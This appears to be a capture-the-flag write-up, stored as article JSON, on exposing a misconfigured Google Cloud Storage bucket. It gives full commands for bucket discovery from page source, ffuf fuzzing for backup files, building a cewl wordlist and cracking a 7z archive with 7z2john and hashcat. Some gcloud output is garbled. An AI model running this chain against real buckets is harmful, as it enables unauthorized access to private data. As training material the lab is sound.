{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"revealing-hidden-files-in-google-cloud-storage-bqqx3","url":"https://zyvop.com/revealing-hidden-files-in-google-cloud-storage-bqqx3","title":"Revealing Hidden Files in Google Cloud Storage","subtitle":null,"tldr":"background: Cloud storage can be easy to misconfigure and misuse, and there is also a school of thought that it should instead be split into public storage and ...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["background: Cloud storage can be easy to misconfigure and misuse, and there is also a school of thought that it should instead be split into public storage and private storage services.","Where a bucket stores a mix of public and private content, the risk is unauthorized access and a possible breach.","Cloud storage can be easily misconfigured and abused, and there is also a view that cloud storage should be divided into public storage and private storage services."],"headings":[],"outboundLinks":["https://careers.gigantic-retail.com/index.html","https://storage.googleapis.com/it-storage-bucket/backup.7z","https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/7z2john.pl"],"contentText":"background: Cloud storage can be easy to misconfigure and misuse, and there is also a school of thought that it should instead be split into public storage and private storage services. Where a bucket stores a mix of public and private content, the risk is unauthorized access and a possible breach. Cloud storage can be easily misconfigured and abused, and there is also a view that cloud storage should be divided into public storage and private storage services. When a bucket stores a mix of public and private content, the risk is unauthorized access and possible vulnerabilities. A web address is provided:https://careers.gigantic-retail.com/index.html Direct ctrl+u to see the bucket address <div class=\"col-md-6\"> <!-- <div class=\"right-image\"> <img src=\"https://storage.googleapis.com/it-storage-bucket/images/retail1.jpg\" alt=\"Career Image\"> </div> --> </div>subdomainstorage.googleapis.comis a Google storage service, andit-storage-bucketis the name of the bucket. This bucket name doesn't look like it's specifically for website resources Install the gcp-cli tool to check whether the bucket can be accessed gcloud storage buckets list gs://it-storage-bucket gcloud storage buckets list gs: it-storage-bucketRRoR:(gcloud.storage.buckets.list) User [iandaustin22@gmail.comm does not have storage.buckets.get access(or it may not exist).storage.buckets.get'denied on resource does not have permis on to access b instance it-storage-bucket (or it may not exist): iandaustin22@gmail. to the Google cloud storage bucket. Permiss gsutil statgs:it-stObucket index,htma2Egs:it-storage-bucket index.html: Creation time: Tue, 26 Dec 2023 17:16:02 GMTTue, 26 Dec2023 20:16:06 GMT Update time: STANDARD Storage class: 11407 Content-Length Content-Type: text/html Hash (crc32c) NOiHAW== Hash (md5): ETag: Generation: Metageneration: rIHCYOZSUEHI1004PfXd0w== CMTU57HNrYMDEAI 1703610962016068 Prompt no permission Try using ffuf with a common backup file dict to fuzz it go install github.com/ffuf/ffuf/v2@latest wget https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/backup_files_only.txt ffuf -w backup_files_only.txt -u https://storage.googleapis.com/it-storage-bucket/FUZZ -mc 200 -c /'___\\ /'___\\ /'___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev :: Method : GET :: URL : https://storage.googleapis.com/it-storage-bucket/FUZZ :: Wordlist : FUZZ: C:\\Users\\Administrator\\ssh_keys_backup\\backup_files_only.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 backup.7z [Status: 200, Size: 22072, Words: 102, Lines: 101, Duration: 374ms] :: Progress: [1015/1015] :: Job [1/1] :: 105 req/sec :: Duration: [0:00:08] :: Errors: 0 :: Found backup.7z downloaded https://storage.googleapis.com/it-storage-bucket/backup.7z Unable to decompress password required: Organizational jargon, products, slogans, etc. may all be used as passwords. Let's use cewl to generate a custom word list based on the text of the careers page. We can then use this word list to perform an offline brute force attack on a password-protected archive. apt install cewl cewl https://careers.gigantic-retail.com/index.html > wordlist.txtNext install7z2john.pl, which will create a hash representation of the archive file for cracking using John The Ripper. However, we are going to use Hashcat instead, which requires a slight change to the hash value. wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/7z2john.pl apt install libcompress-raw-lzma-perl -y Run the command below and remove from the generated filebackup.7z:, so that only the hash value is left. This will make it compatible with Hashcat.perl 7z2john.pl backup.7z > backup.7z.hash hashcat --example-hashes | grep -i -B1 7-zip Then use hashcat to crackhashcat -m 11600 backup.7z.hash wordlist.txt You can decrypt it and get the flag","contentHash":"sha256:8c174b9daf9404bba7958ad80b40210fbf23625505c8e7e5ea6139e54a511763","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Developers, software engineers, and students learning software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":3,"wordCount":581,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:11:22.055Z","updatedAt":"2026-08-19T23:40:00.226Z","canonicalUrl":"https://www.cdxiaodong.life/article/gcp_security_reveal-hidden-files"}